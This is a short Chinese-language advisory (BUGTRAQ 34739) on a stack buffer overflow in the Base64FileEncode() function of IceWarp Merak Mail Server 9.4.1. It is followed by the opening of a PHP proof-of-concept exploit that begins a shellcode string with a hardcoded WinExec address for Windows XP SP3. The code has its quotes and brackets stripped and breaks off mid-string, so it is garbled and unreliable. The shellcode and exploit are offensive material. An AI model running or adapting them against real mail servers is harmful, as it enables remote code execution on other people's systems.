IceWarp Merak邮件服务器Base64FileEncode()函数栈溢出漏洞

BUGTRAQ ID: 34739 Merak Email Server是一个全面的办公室局域网或Internet通讯邮件解决方案。 Merak邮件服务器的api.dll库没有正确地验证对Base64FileEncode函数所传送的第二个参数，如果远程攻击者向icewarpapiobjectcall函数的最后一个参数提交了超长输入的话，就可以触发栈溢出，导致执行任意代码。 Icewarp Merak Mail Server 9.4.1 Icewarp ------- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：...

Icewarp Merak Mail Server 9.4.1 - 'Base64FileEncode()' Buffer Overflow (PoC)

"cgi-fcgi" die"Launch from the merak php console!"; if !functionexists"icewarpapiobjectcall" die"You need the icewarp extension loaded!"; $shellcode= //original scode, alpha2 esp sh.txt "\xeb\x13\x5b\x31\xc0\x50\x31\xc0\x88\x43\x4a\x53". "\xbb\x0d\x25\x86\x7c". //WinExec, kernel32.dll XP SP3...